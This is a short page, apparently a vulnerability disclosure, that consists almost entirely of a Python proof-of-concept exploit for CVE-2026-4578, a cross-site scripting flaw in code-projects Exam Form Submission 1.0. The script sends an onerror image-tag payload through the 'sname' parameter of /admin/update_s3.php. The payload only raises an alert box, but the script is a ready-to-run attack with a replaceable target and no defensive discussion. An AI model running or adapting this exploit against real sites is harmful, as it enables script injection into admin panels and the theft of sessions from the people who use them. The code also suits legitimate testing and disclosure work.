CVE-2026-4578: Exam Form Submission跨站脚本漏洞

import requests # PoC for CVE-2026-4578 # Target: code-projects Exam Form Submission 1.0 # Vulnerable File: /admin/update_s3.php # Vulnerable Parameter: sname def exploit_xss(target_url): # Malicious payload to test XSS xss_payload = '<img src=x onerror=alert("CVE-2026-4578")>' # Data to be sent to the vulnerable endpoint # Note: Actual form fields might vary, 'sname' is the vulnerable parameter data = { 'sname': xss_payload, # 'other_param': 'value' # Include other necessary params if known } try: # Sending the POST request response = requests.post(f"{target_url}/admin/update_s3.php", data=data) if response.status_code == 200: print(f"[+] Payload sent successfully to {target_url}") print("[+] Check the application response or admin panel for script execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_xss(target)